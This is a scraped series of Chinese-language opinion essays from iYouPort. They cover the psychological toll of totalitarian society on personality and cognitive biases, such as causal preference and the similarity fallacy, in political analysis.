也就是说，信息是否对分析人员思维造成影响，完全取决于其内容，而有关来源的可靠性警示却不会削弱信息影响的程度。即便知道信息来自一个不可控、甚至有可能存在欺骗的渠道，也几乎没什么实际效用。当然，这是不专业人士的思维规律。

——未完待续——

原文

极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2） - iYouPort

心理学和社会学

当个人不再相信自己和自身的需求，失去了对身体和心灵的张弛节奏，那么所需就变成了一种外在的依靠——一项可供自己遵循的规定、清晰的奖惩规则

「图」

「图」

人是天赋和环境的产物。关于人之初性本善还是性本恶的讨论，意义不大，人其实是在与周遭环境不断互动的情况下发展出自己的能力及品性的。于是，至关重要的是作为基础的家庭关系问题，对日后的成长及性格的养成意义深远。这点在上一篇中有详细介绍。

每个人都携带着与生俱来的基本需求，如果要想健康的活下去，就要满足那些需求。根据本性，这些需求会有循环性和周期性，也就是说张弛交替，并遵循“人物－－背景”原则，也就是说最为迫切的需求总是被予以优先满足的，继而其他需求接踵而至。

人的发展本质上是要通过人与人之间的交互来完成，从一开始人就是社会动物，他依赖于能够满足自身的客体，需要社会交往、他人的理解（认同和归属需求）。如果所在的社会互信度低下，每个人的发展都将受到抑制，包括哪些看起来风光、“一呼百应”的名流，因为他们的簇拥并非完全是经诚意或者个人价值交换而来的。

一个人能否健康的发展，取决于他所有基本需求获得满足的数量和质量，只有得到充分满足时，才会享受到有规律的轻松感、安全、信任、自我价值、信仰和希望。一个经常很满足、自信的人往往是天性决定，其他任何外在的说教对其影响都不大。反之，如果其自然需求得不到充分满足，则会出现紧张、神经过敏、不满和恐惧。长期的缺陷会引发不安全感、自卑、猜疑、无望和虚无。深受其苦的患者会背

离自己的天性。

人具有强大的适应能力，完全可以承受无法被满足后的失落感，在压抑性教育下的儿童也较少有人真的感觉无法忍受。适应是个过程，且影响非常大，一旦这种屈服顺从的能力形成长期的桎梏，最终的结果就是人格畸形。

人格畸形是不容易辨认的，尤其是当它弥漫于整个社会的时候，反而会被视之为“正常”。真实的正常指的是：坦率、诚实、独立、批判性推理能力、自我肯定、创造力和反对多数派的勇气。

很显然，上诉这些特征与极权社会的意识形态是相反的。为了这个政治体制能顺利运转，对人的管控需要掌握在权力手中，它要求人们表现出被动、隐忍、服从和忘我。专制体制中，每一种社会身份都涉及被桎梏、损失和错乱，于是每一种身份都应该获得必要的治疗。

内在缺陷状态

人们的需求可以化为为身体、精神、社会、心灵几个部分，以此来对比国家的共给途径及可能性后便会发现，结果令人沮丧。就不详细列举了，太长……大部分人应该都有所感，当你发现社交网络上蓝天白云的图片被当作惊喜晒出来求点赞，进口食品、禁书、被禁影视作品下载种子等等都成为值得炫耀的资源时，那真的没什么光荣的，正相反，是悲哀。它意味着人的基本需求都变得奢侈，这是政权的罪恶。

自由的思维和感受、纯粹的爱与被爱、信任坦诚的交流和归属感等等这一切，都处于高度欠缺状态，一个二十几秒的视频就被奉之为价值无限、各方索求，足见作为人类最基本生理的性享受都难以被满足，此外一切无从谈起。

外在的缺陷

「图」

「图」

生活中到处都要走后门、找捷径，人们已经习惯于遇到问题先去想有没有熟人了，而不是考虑具体问题的解决方案。人情社会基于依赖关系形成帮衬的形式，这是一种独立性匮乏的培养基，是集体的、沉默的补偿性反抗，也正是它促成了社会的心理结构。

为了减轻日常生活中压抑感，几乎每个人都在拼命追逐蝇头小利。政权自然乐见如此，小小的红包功能、打赏功能就可以买断一个超大群体的言论自由权利，它们还要不断的宣传某某人通过粉丝经济获得了多高的酬劳、做“好网民”的谁谁赚取了高额稿酬连工作都辞掉了……等等。

而大多数人，只是在这个虚伪的宣传中不断的失落，无法获得满足，甚至被羞辱。正是这种内外对比的体验将注意力从内心的痛苦上移开，让人们更专注于环境，而不是自我的亏欠，人们在下意识避免不愉快的经验互相关联。

当个人不再相信自己和自身的需求，失去了对身体和心灵的张弛节奏，那么所需就变成了一种外在的依靠——一项可供自己遵循的规定、清晰的奖惩规则。而自然的天性之重要恰恰在于满意、轻松和兴趣。

既然天性已失去，人们便不得不努力寻求外在的补偿，如消费、财产、权力和名誉，并转向遵循既定道德或意识形态。

人的基本需求获得的满足越少，寻求替代性的需求和价值就越高。

协助有难度

「图」

「图」

被异化的人只有在异化环境中才能感觉舒适。他们必然会将更好的、更自由、更自然的境况与目前的异化、堵塞和分裂境况做对比，比较的结果会令他们陷入不安。于是为了避免这种痛苦，他们更愿意选择“维持现状”。留学后又主动回国、回国后又主动入党、翻墙后再缩入微信……等等现象只是太过显见的例子。

认知过程虽然可以带来更大的自由并得到康复，但首先引起的肯定是不适、沉重、以及不熟悉带来的不安全感。畸形致病的状况常常被掩盖或当作表面症状，而真正的诱因却未被揭示，更无从改变。已经有多位翻墙不久的网友私下告知我：难以融入twitter环境。当我问为什么时，他们基本都回答了“可能是熟人少造成的”……

在心理疗法中存在着一种争议，是否能把缺陷综合症患者不做健康人对待，因为与那些在社会认可的准则下发泄痛苦和扭曲的健康人（反

抗者）相比，他们从一开始就承受着背离自己天性和病态的关系之苦。虽然他们压抑的是个人痛苦，却加剧了这个社会的心理冲突，助长了畸形的发展。

——未完待续——

完整版：

《诊疗笔记：求极权社会的心理阴影面积（1）》

《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》

《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》

《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

广告

原文

信息分析心理学：因果认知中的偏见（3） - iYouPort

心理学和社会学

思维具有寻求因果的强烈倾向，一旦得到证据，人们常常会假定一系列因果关系来自于这个证据

「图」

「图」

继续前文话题。

不可信的证据造成的影响会持续存在。心理学家对此更感兴趣，因为很多心理学实验是在欺骗被试的前提下进行的。比如让被试在完成某项工作前让他们先相信自己非常有能力或非常无能，测试人们对自我定义的反应。心理学的职业道德要求实验者在实验结束后告知被试：那是假的，以便帮人们从错误印象中摆脱出来。但事实却显示，这点极难完成——人们一旦确立了一个认识，哪怕稍晚些时候就被证伪了，其影响仍会继续存在。

这种现象可能是几种认知过程共同作用的结果，人们的思维倾向于把新的信息放在既有印象的背景中去理解。但还是无法解释为什么把真相告诉人们了，依旧抹不去既有印象。

还有一个有趣的说法：思维具有寻求因果的强烈倾向，一旦得到证据，人们常常会假定一系列因果关系来自于这个证据。这就是本文的主题。

要解释历史、理解当前、预测未来，都需要对因果关系做出判断，这些判断经常会被人们的意识无法控制的因素所扭曲，这一现象影响着分析人员的很多思路。为了能让周围环境看起来有序合理，我们经常试图寻找并相信已经找到了那些实际上只是偶然或随机现象背后的原因。

极权政府能多有效的执行一个连贯的、协调的计划？我们预测其未来状况的能力如何？这两个问题总会被估计过高，而且还倾向于认为原因一定与结果相对应、重大事件一定隐藏着重大原因。

推论行为的动因时，个人性格或行为体本身的性质往往被过分关注，而决定行为的环境因素却得不到重视。此外人们还会高估自己的重要性，认为自己是其他行为体行动的原因和目标，最后由于不了解证明某种关系所需信息的种类和数量，而强行臆测出不存在的因果关系……

历史学家的思维模型适合写小说，而不是时政分析

推理过程的基础是时空中具体事件的排列，以及关于这一现象的理论或逻辑解释。对因果的推理我们有好几种分析模式，其中较为正式比如先提出假设，然后再对研究对象的大量案例做数据收集、进入统计分析，从而检验假设。即便如此，因果关系也不能被完全确定，进一步的方法是尝试证伪那个假设，只有在无法证伪的情况下才能被接受。

这种方法比较常用且严谨，被称之为科学方法。不过它不大适用于研究封闭程度很高的国家、民族的政治和战略性意义问题，但它的适应空间还是很大的，完全可以鼓励使用。然而当下的状况却与此相去甚远——人们更多使用的是历史学家的方法，而非科学家的。

对于确定因果关系的方法和标准，科学家能比绝大多数历史学家更为清晰——历史学家的目的是将研究的事物统一连贯起来、使用某些支配性的概念或重要思想来说明，继而构建出一套“有意义”的叙述。

这种方法只能应付单一事件，却不关注众多可比性案例中存在的共变模式，即便利用共变原理也难以理清变量之间的复杂关系（共变原理：两个事件互相关联，一个发生改变，另一个便会随之改变）。历史学家是通过想象，将支离破碎的信息构建成连贯的故事，在许多自媒体和野生时评人的作品里这种思路很常见。

它更合适写小说，而不是做信息分析——将连贯性而非科学观察做为判断真相的标准很可能会形成偏见。

「图」

「图」

因果偏好

寻求连贯性导致的偏见之一就是偏好因果解释。连贯性意味着有序，所以人们会自然而然的将观察结果归纳为大背景模式和联系。如果没有发现任何联系，第一个会想到的是自己理解不透彻，而不是相关信息原本就没任何目的或原因可言，不过是随机出现而已。

比如上周四晚，苹果app store修复算法，导致一些应用被短暂下架，其中就包括一些国产的热门应用、那些在大陆尤其是微信平台上被视之为“神圣不可侵犯”的名牌应用，类似QQ、支付宝等。短时间内微信公众号各种猜测蜂拥而至，右图就是其中之一，其荒唐难以置评。

同日还有另一则偶然性很高的消息引发了一堆强必然性猜疑——有人发现百度忽然能搜索到六四和巴拿马文件的内容了。其实这种状况早前也出现过，最多是屏蔽关键字的算法出现错误导致的，然而很多相关舆论则将其强行关联上了一些难以形成因果关系的信息，比如魏则西事件、百度被网信办约谈等等，认为是“百度在反抗”，完全忽视此刻百度才是被动方。并且更重要的是，忽略了一个常识： 极少会有使用者去百度搜索六四、巴拿马文件等关键字，因为众所周知，肯定搜不到，更有搜索引擎还会记录用户信息。然该消息却在短时间内急速升温，从墙内到墙外，除非是修改算法的人自己在爆料。

这些属于太典型且极端的例子。互联网时代，类似败笔铺天盖地，无法不怀疑其与传播心理有关。为了抢吸睛度不惜一切，各种夸张的姿势、极端和偏颇淹没了思考的价值，完全得不偿失。或许也与人们的普遍习惯有关——很难接受偶然和随机的概念，连支骰子都认为存在上帝的旨意。“因为”这个词在口语中的泛滥状况，或许很说明问题。

当年江泽民的马仔一个个落马，就有较长一段时间的推测指向“要办江泽民”，如今李源潮的亲信也接连被查，从而大师们又指向了李源潮……这都是历史学家的思维模式，然当前正在时评界风靡，各种名人访谈充斥着这类说书先生逻辑。你可能觉得它无所谓，不过是骗稿费、凑版面，那就再举个著名的、能要命的例子：二战的时候，伦敦人对德国的轰炸模式做出过很多因果解释，由此决定应该住在哪里会安全一些。但战后的研究却发现，轰炸位置几乎都是随机分布的。德国人在部署的时候可能存在一些规律，但轰炸目标却在不断改变，再加上不是所有计划都能如期实现，于是最终的结果就是炸弹落点成了随机分布状态。伦敦人只关注那几个支持他们有关假设的轰炸事实，全然不关注更多的、完全不符合假设的事实……

心理学家也犯类似毛病的，先做一个假设，然后不断试验，选取能证

实假设的实验结果、忽略不能证实的试验结果，继而宣布假设成立。这就是斯金纳称之为“迷信行为”的荒唐分析法。

有一些政治、军事或外交事务中是没有什么合理因果解释的，分析人士首先就是要认出它们来。很显然这会影响到预测，也提醒观察者不要对分析人员的猜想期望过高。

——未完待续——

原文

极权社会的心理阴影：压抑的恶果和被误解的代偿（3） - iYouPort

心理学和社会学

极权社会将克己复礼当做一种美德，每个人都戴着面具，虚伪更拉大了人际，继而个体更加封闭、对周边的态度更加渴求。

「图」

「图」

继续前文。

抑制情感——“社会主义”的邪恶境界

在墓地里安装摄像头，也只有极权国家才做得出。六四不允许纪念，杨佳不能被称颂，给林昭、李旺洋扫墓都需要智勇双全对敌作战的能力。而带着浓厚民族主义色彩、政党意识形态的节日及活动，却强迫人们表达喜悦和凝聚。

日常需求无法被满足必然会引起情感起伏，表达情感是人的辅助性本能，可以用来结束缺陷状态，或者至少起到宣泄的作用。在自由无阻的环境里，人们可以清楚的感受自己的需求，即便没能得到满足，也可以通过情绪输出来维持心理平衡。如果连情感也被遏制，那更是雪上加霜了，也正是极权教育所追求的至高目标——一个娴熟操作自我压抑的社会。

「图」

「图」

曾经畸形繁荣的体育竞技就是一种心理防御与平衡的手段 ，同时意味着一种想通过自身努力最终赢得 “被爱的 ”企盼 ，虽然这种“爱”的体

现最多也不过是一枚冰冷而高贵的奖牌 。那种被关注的渴望会在胜利的一瞬间伴随着欢呼和掌声获得满足 ，之后转瞬即逝 ，但在这一刻中长期的痛苦会被抛在脑后 。如今类似竞技性质的活动在网络中随处可见。

正常的 、本能的情感表达会日渐清晰 、单纯 、放松 、乐于交流 ——在每一方面都能增进健康 。身为人类 ，我们无法选择是否要去感觉 ，只能决定是将体会到的情感表达出来、还是压抑下去 ，也就是说 ，是选择彻底地流露情感还是淤积情感 ，前者有益健康 ，后者不仅会损害健康 ，还会导致社会冲突或社会畸形发展 。当人在心理和言语上无法进行抵抗时 ，其神经质的防御机制便会紧急启动 ：逃跑 、咆哮 、呐喊 、挑起争端 、对人或事大动肝火 ——这是在试图通过最后的挣扎来阻止自身的感觉。你经常能在中文社交网络中尤其是群聊内部观察到类似宣泄为唯一目的的表达。

对于经验和世界观来说 ，在判断对错 、真假 、可靠与否的过程中 ，情感才是最重要的利器 。

各种教育手段都被用来抑制情感，用道德威吓、专制暴力和惩罚来阻止发怒、转移注意力，或简单的安慰来对付伤痛和悲哀。这方面学校、父母和国家结为了同盟，他们口径一致的要求孩子学会适应、乖、安静和顺从。

极权社会将克己复礼当做一种美德，每个人都戴着面具，虚伪更拉大了人际，继而个体更加封闭、对周边的态度更加渴求。

然而 ，没有人能在伪装之下长期地满意生活 。这套心理机制是 ：它首先迫使人们相信 ，这个外表的 “自我 ”就是自己的 “天性 ” ，并愿意使用一切手段来捍卫它 ，甚至可以援引貌似无懈可击的论据为这个伪 “自我 ”进行辩护 ——情感的分裂状况能使这一切成为可能 。 简单说就是，人听从大脑的支配 ，而大脑再把每一个谎言加工整理成科学 。

失败的减压

「图」

「图」

抑郁症频频出现在新闻中，它变成了官方的借口、民间的调侃，其实这并不好笑。极权社会的抑郁症发病比例高正常社会数倍，这是有统

计数据支持的，但是，当全社会都沉浸于庞大压力中的时候，往往更不易察觉程度之轻重，直到有人自尽、随机性上街砍人，频发的“杀医”、校园命案……

在疏离自我的状态下，紧张和放松（恐惧和渴望）这一自然节奏逐渐变成持续的紧张状态，而医生用来缓解这种紧张状态的方法只能是不断的加大药量。而每一种替代性药物都可能导致成瘾，这点也早已被证实。因为使用替代手段并不会使人真正放松，最后不得不持续重复地干预。

极权社会设立的精神心理辅助机构很可能只是个骗钱的木马，甚至披着羊皮的维稳机器，与医术水平关系不大。如果你读过瓦尔德海姆精神病院的内幕报道，就能了解，医生对国家罪恶阴谋的参与之程度远比想象中要多。心理医生被当作刽子手的帮凶，穿插在刑讯和审讯中协助当权者获取口供。

更为常态化的是，官方宣传机构不断的给你灌鸡汤、大v网红一篇篇地拼凑“正能量”，它们的那些被点赞和转发慢慢的不再需要五毛刷数据。但没有人会问为什么压力山大、消极悲观充斥社会，虚无主义在政治异议群体内弥漫，“反对”的执行力表现从抗争化为了移民……

疏离自我永远不会达到稳定的终止状态，而是一个永久的压制过程。一旦这种压抑变成由良知、自我道德和意识形态所控制的内心过程时，就意味着从前那些外部高压（包括父母、家庭、政府、领导、国宝等等），成为了最终的赢家。相比下移民追求还算是“正常的”呢。

随着时间的推移，各种禁令、规章、他律、“美德”，蜂拥而至，压制范围愈发广泛，以致大部分人无法意识到这其中真正的联系，他们不明白自己渴望的是什么，能感觉到的只是郁闷不满。为了缓解压力，人们选择吃喝、烟酒、购物、工作，甚至药物和毒品来缓解。却自认为是在“享受生活”。

自我修复是可能的，但有难度

举个很简单的例子，几乎每个人都能体会到的，比如性领域。性是基本生理，它原本无需刻意，心理治疗中会能发现一些男人以性能力为荣，甚至主动吹嘘自己的性能力，这种状况的分析结果通常会显示为轻重不一的性障碍。因为他们无法达到放松的程度，只好反复去做，却被误解为“能力强”的表现。健康的性爱是顺其自然，随心所欲，而并非强求于展示。更有趣的是，畸形的女权主义者会认为吹嘘性能力的权限不能只给男人，“我们女人也可以在这方面自豪”，于是表现出

一种刻意的开放姿态，有点以谣传谣的味道。

问题是一致的，都属于丢弃了自我的感受，被环境、认同需求、社会价值观所绑架的结果。真正自然的性态度是不需要去强调的，性别平等建立在性别特征自信的基础上，而不是谁要争取独占上风。当然，这点不是本文主题。

与性能力大同小异的是，很多人喜欢攀比，不论是购买名牌、房子车子、薪金福利，甚至男女朋友的颜值，都可以用来和周围人对比，以此获得荣耀感，将评价的权限交付他人、把选择的凭据从自我感受换成了口碑。其主要原因就在于自我的缺失。本网早前分析过外控型人格，也以他律型社会为主题做过报告，此处不赘。

想要找回自我的感受，就必须认识到，以前未被满足的、被忽视的基本需求，在现状下无论怎样都无法通过任何方式或个人获得补偿。对于那些追名逐利、沉迷于物质欲望和占有欲望的人来说，名誉、权力或富裕生活都难以真正的给他们满足感。

认清这些替代性追求的无效是很必要的，但却少有人能做到，正因为他们所做的这些无用功在所谓的“主流价值体系”中可以获得很高的评价。

这里又有一个悖论，如果社会人格崇尚独立自我，“主流价值观”就难以左右个体行为，而这种社会环境里又较少存在急需获得辅助的心理缺陷。只能说，缺陷状态所处的社会环境在对抑制其修复方面起着很大的作用。

若想让长久被压抑的人性内核重新复苏 ，首先要逐步治愈分裂 ，重新与情感连接 ，并将之尽可能地表达出来 ，这是治疗中的三大要素 。

通常来说 ，这颗深藏心底的“内核”恰好是被各种负面的情感所包围着 ，其中首当其冲的就是恐惧 。协助者需要让患者了解到自己怕的究竟是什么，通过陈述、分析，逐步理解其内情。目前很多时政观察者擅长揭露和批判白色恐怖的细节，但不擅长消解社会恐慌，整体上反而呈现“衬托趋势”，一定程度上协助了当权者的目的。

「图」

「图」

——未完待续——

完整版：

《诊疗笔记：求极权社会的心理阴影面积（1）》

《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》

《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》

《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

广告

原文

信息分析心理学：因果认知中的偏见（4）- iYouPort

心理学和社会学

大多数时评人都不大认同一般意义上的阴谋论，也就是，专业分析人士的偏见可能不会以阴谋论这种低端形式表现出来，但它也真的潜移默化的影响了人们的判断

「图」

「图」

继续前文。

与偏好因果近似的，人们还习惯于把其他团体、国家或政府的行为解释成有统一指挥的或既定计划的有意而为，分析人员经常会对此估计过高，因为如此解释会显得更有故事性、连贯甚至精彩。反过来便是，这样的结论会导致分析人士对猜想性预测抱有不切实际的自信。

意外事故、失误、巧合、好心办坏事、执行不力、半官僚机构间互相扯皮等等一系列因素在影响着事件的最终结果，它们的存在意味着现实世界是无序的，事件发生的原因更多是随机结果而非计划内。媒体追求的新闻价值也就是故事性，要求它们对政治行为强拉硬拽地做出解读。很遗憾，不少事件只有当回忆录和政府文件公开之后，人们才能在历史的视角下得到完整的故事。

这种可以称之为职业性偏见的东西在跨国议题研究中有可能后果严重，分析者容易出现三种常见错误：1、如果他国政府行为的原因在不断变化或存在前后不一致的价值观、完全的误解或失策，那么对其行为的预期可能就会落空；2、从他国政府的个别言论或展开的行动中，得出事关重大的结论可能不保险，要考虑到这些言论有可能是个人、而非集中指挥的产物；3、太多阴谋论，忽略了领导人的软弱、犹豫不决，或者是利益集团政治博弈的产物，而后者是可利用的……

时政研究人士最好不要把媒体的“创作”当成可靠凭据。

“同一性谬误”

如果无法对共变关系进行系统分析，而且似乎同时存在着几种可能的因果解释，那么人们经常会使用一条简单的检验规则——即用因果解释之间的相似性去判断因果关系。比如体量大的人走起路来声音肯定大、身材好的人跳舞一定很优美等等，涉及物理属性的判断，这种推理通常是靠谱的，但是时政分析可不这么简单。

如果你认为经济问题主要是经济原因造成的、大事件一定会有大背景、小事件不可能影响历史进程……你就掉入了“同一性谬误”。虽然如此解释能让叙述看起来更连贯、更具逻辑和说服力，但肯定不能指望它与事实相符。

5月2号在人民大会堂举行的那场红歌演唱会让56朵金花在接下来的几天内都处于舆论热点，把“二次文革”搬上标题的媒体估计不止一两家，这正是依照因果相似性进行推理的倾向，且总是与文章开头提到的“集中指挥幻觉”相伴相随（甚至有人认为是统一部署的“文革试演”）。这两种偏见的普遍存在说明了为什么阴谋论具有极大的说服力。阴谋论往往用于解释看似没有重大原因的重大影响，比如“就像奥斯瓦尔德那种小人物也能改变历史？那也太离谱了”。与刺杀肯尼迪造成的后果相比，奥斯瓦尔德宣称的动机太微不足道，在很多人看起来无法达到连贯一致的叙述标准……如果诸如失误、事故、个人反常行为等“微小”原因都能造成重大后果，那就意味着重大事件背后有很多随机性原因存在，而非全盘计划内。

当然，大多数时评人都不大认同一般意义上的阴谋论，也就是，专业分析人士的偏见可能不会以阴谋论这种低端形式表现出来，但它也真的潜移默化的影响了人们的判断。在分析因果时，经常能见到的是，将事件归因为人们有意而为或可预见的影响，然后强拉硬拽出诸多“背景”，不承认偶然性因素的存在。

推测需要将所有可能性列举出来，并分析各自概率，凭借想象力敲定结论不是专业分析人士的作为。有人认为自己的语气越自信、公信力就能越高，除非是在普遍不思考的社会里，否则只能成为笑话。

“相关关系”有时也具欺骗性

利用共变关系的统计测量被称为相关关系——即如果某一事件的存在意味着另一事件也存在，我们就说这两件事是相关的；如果某一变量发生变化必然会引起另一变量发生变化，那么这两个变量之间就是相

关的。假设，a和b是同一个原因引起的，虽然不能证明a直接引起b，但a和b有共变关系、在时间上a总是紧随着b，人们经常就会推论：a是b的原因。比如政府一推出什么法律，官媒总会“杀鸡”，抓几个“典型案例”出来。

再比如，经济状况恶化导致政治反对上升、国内矛盾激化可能会促使政府在外交上采取冒险行动、以实力为后盾的谈判更有效等等假定，都是基于变量间关系的直觉判断。大多时候这些假定是正确的，却很少能受到系统观察和统计分析的检验。

对他人和政府一般行为方式的假定是大量分析工作的基础，但问题在于，人们还可以随意引用互相矛盾的规律去解释、预测或证明类似情况下出现的不同行为。比如，“欲速则不达”与“当断不断反受其乱”就是互相矛盾的警语，当它们被分头使用时，两者的道理都能说得通，可放在一起就会显得很愚蠢，再比如，“绥靖助长侵略”与“妥协才能达成协议”，是另外一组互相矛盾的说辞。

你可以用“一切取决于……”句式来辩解，是否使用它，是直觉处理信息和系统性分析的区别，添加上诉限定条件是为有见地的分析工作的特征，因此添加的频率也彰显了分析工作的严谨程度。

当然不否定暗箱政治的复杂性，分析封闭程度过高的国家和政府时往往缺乏必要的数据、时间甚至兴趣，但至少应该大致了解需要掌握些什么，才能判断信息之间是否存在联系。这显然不能靠人们的直觉本能来完成，直觉只能帮你挑一个自己觉得好玩的结论去信任。

某逻辑即便蒙对了十次、百次，也不代表它就是真理，但如今最常见的状况却是一个特色级观点或一套理论就能撑住一个时评人甚至媒体的长盛不衰，只能体现其本身和其受众的思路保守固化。

最后还是要鼓励分析人士积极接触不同的思维模型，因为每一种思维模型都有其优势和弊端。尤其在官僚体制的现实中，意见一致的压力是所有偏见无法化解的基础原因，人们害怕不一样的思考遭到排斥而不敢言，结果只能直接抹杀价值。秉持批判性思考才有可能让合理性解释最终都能出现。

注：我们不会着重于提供具体事件的分析结论，那样似乎可以有丰富的出稿量，但价值却是极有限的，我们希望能将方法介绍给你，授人以渔，你可以用它自己去分析，或者判断那些铺天盖地的结论、权威级大师的观点，究竟靠谱几成。〇

原文

极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4） - iYouPort

心理学和社会学

这个体制的管理之所以表现得如此愚笨和低级 ，其目的是为了更好地激怒民众并以此来转移他们的注意力

「图」

「图」

继续前文——

以情绪堵塞为特征的缺陷综合症是国家和家庭双重压制的结果。这种渴望因得不到满足而形成心理缺陷状态，又在长期的沮丧和压力中渐渐变成一种持续紧张，在自然条件下对身体、心理、社会和精神进行观察，都会发现这种紧张状态。

人们必须采取一定措施对其予以疏引或抑制，否则就会罹患心理和生理上的疾病，甚至会在一定程度上加剧这个社会的畸形发展。

心理代偿——物质主义的由来

「图」

「图」

为了获得些微的富足，有些人不得不去争斗、行贿、或卑躬屈膝，直到最终拥有一套自己的小住房、私家车、“铁饭碗”。而野心更大的人，拼搏的则可能是一笔巨大的财产、郊外的别墅和离岸公司。当这些目标实现之后，有不少人却罹患了各种心理疾病，社会离婚率飙高。

一套住房耗尽人们力气的同时，也将内在的紧张暂时搁置。大房间尽管宽敞舒服，但他们却不知道生活如何继续。之前，人们将内在的空

虚通过造屋的忙碌而成功转移：装修布置、购买材料、组织施工，因材料和劳动力的短缺又免不了费神去“拉关系走后门”，同时还要关注时有发生的贿赂、黑劳工和偷盗等现象。这种过度操劳并不是引发心理危机的原因，相反，忙碌恰恰是他们求之不得的——引发的原因是终于完工后失去了代偿的机会。

“口欲期固结”是普遍现象，它是对大批人严重颠倒的生活方式的一种代偿机制，主要表现为对金钱和更多消费的强烈欲望。人们用这种欲望来缓解心理缺陷综合症，以及掩盖内心的贫乏。由此导致的慢性而持久的饥饿状态又促使嫉妒和贪婪的产生，这一点在惊人的电商销售数据和海外爆买现象中可见一斑。

极权的体育大国梦

「图」

「图」

当人们为竞技体育的光辉成就欢呼雀跃时，也体现出了整个民族的长期屈辱。为了露骨的政治宣传对体育进行挟持，这种做法已经使得一些人感觉非常厌恶。记者评论员们在电视上发表评论，将运动员神圣化为英雄，令人反胃，但一种介于自豪（我们的“运动员”）和反感之间的矛盾感情依旧存在。这种国家体制在国内遭人摈弃，但对外却如此冠冕堂皇，让许多人难以忍受。

对优秀运动员进行内心摧残、加剧他们畸形的发展，对许多资质平庸的普通人置若罔闻，甚至使用违禁药品——所有这一切都只为了获胜、拿奖牌。这个蔑视人权的体制已经赤裸裸地暴露出自己的本质。当然，依旧有许多国人认为体育确实值得骄傲，然而这个体制本身的病态却清楚地表明它痴人说梦的贪婪。

运动是心理缺陷的一种极好的代偿方式：军事化纪律、完成任务的压力和训练的劳累作为补偿手段使得自然状态下生活中淤积堵塞的生命能量得以消耗，并同时在人们面前铺设了一条追求成功、名望和特权的欲望之路，让几亿观众因此而获得愉悦，在一定程度上也减轻了由于孤芳自赏而造成的委屈情绪。

肛欲期固结（与前文中提到的“口欲期固结”并存）主要表现为一种受到约束、阻碍和控制的行为，极权体制中常态的压制又强化了这种普遍性的固结状态。压制只是一面，同时存在的另一面则是被告诫“要有理想有抱负”，上述的畸形竞技和物质主义，都属于肛欲期固结症

状。

继口欲期、肛欲期后的另一个层次应该是生殖欲期，但这个国家没有进入该阶段。卖淫行业和色情内容被明令禁止，不过人们倒是总能搞到下载和私下的传播，原本普通的生理需求由于高度受限而变得异常珍贵。性笑话和含沙射影的讽刺四处可见，女性被视为主要取乐的对象，因此她们常常心怀恐惧。如果把充满爱意的夫妻关系和达到性高潮的能力作为评判标准的话，恐怕大多数人抱有的态度是对性的失望。

「图」

「图」

恶意的愚蠢

持续不断的谎言已经在社会生活的每一个角落里蔓延：美化现实、伪造数据、压抑欲望、粉饰太平、否认一切消极事物、将人类重要的生命主题列为禁忌，这些都不可避免地成为一种生活方式。

官方的报道空洞可笑、言之无物，如此公然的歪曲和欺骗，老一套的镇压、否定、抹杀事实和颠倒黑白的做法又是如此明目张胆、简单粗暴，以至于这个国家本来应该会因毫无来由的狂笑或突发的厌恶，变得每分每秒都岌岌可危。但什么都没发生，人们慢慢习惯了罪恶和不幸。这也是代偿机制被广为使用的一个明证：人们或满心怒火、或百无聊赖地容忍着无耻之徒和偏执之举，这一招和内心防御机制一样都非常好用。为了压制势必产生的愤怒，宝贵的生命能量被不停地消耗掉了。

对大多数人的心理动态分析，反复验证了一个假说 ：这个体制的管理之所以表现得如此愚笨和低级 ，其目的是为了更好地激怒民众并以此来转移他们的注意力 。谎言与权力结合之后 ，其表现越愚蠢 ，这种结合就会越坚固 ，也会激起更多的愤怒 ，而这种愤怒终究会过去 ，尤其在网络时代，话题更替之迅速众人皆知，慢慢的人们便没有力气和勇气去进行有目的的反抗 。

攻击性冷漠与奴性效果一致，但性质不同

如果人们将生活方式作为代偿，那么这种生活方式就必须能够以补偿方式来消耗掉那些被阻塞的生命能量。当下主要体现为“不合作”或拼命努力两种形式。

这里所说的不合作指的是不与情绪合作，是一种主动的行为过程：人们精神的阻碍、自我克制、消极被动、安于舒适和供养心态都消耗能量，目的是为了长期地约束、妨碍并抑制生命的发展，同时我们也借此释放了一部分被压制的攻击性。心理学称之为攻击性冷漠（与“被动攻击型人格”表现近似，但一个是主动，一个是被动），它与奴性效果一致，但性质不同。

适应环境成为消耗能量的代偿，而 “被动的 ”抵抗成为隐形的反抗——我们被剥夺了自主决定权，就要进行报复。既然自由已被限制，至少我们能通过无动于衷、束手无策和事事依赖来阻止其发展，或使其运转不良。这种普遍存在的“不合作”态度是消极的，已使整个社会变得衰败萎靡。

反之，与情绪合作、不与政权合作才是积极的不合作，是抗争。

~ ~ ~ ~ ~ ~

只要在日常生活中还看不到大多数人开始拒绝现状并勇于承担个人责任，我们就不能够去相信会有任何所谓的“拐点”到来。选票不是终极目标，畸形社会人格很有可能会实现新瓶装旧酒，复辟旧的社会心理结构。

很多现象并非没被发现，而是观察者的评价太过表面（就事论事），反而令根源问题得以无限膨胀。最简单的比如日常表达，擦边球、反讽和双关语并不是什么高超的技巧，而是压抑的表证。〇

——未完待续——

完整版：

《诊疗笔记：求极权社会的心理阴影面积（1）》

《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》

《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》

《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

广告

原文

极权社会的心理阴影：阻碍型性格和强迫性人格——社会角色的代偿可能（5） - iYouPort

心理学和社会学

具有阻碍型性格的人群成为专制体制最合适的仆从，这些人维护现有的制度体系，并阻止一切社会变革

「图」

「图」

一些人的性格已经被固定下来了，成为了这个僵化社会系统的傀儡和组成部分。这个社会系统通过权力和恐怖统治扼杀了人们自由的灵魂，使斑斓多姿的生活在单调灰暗中变得无望。

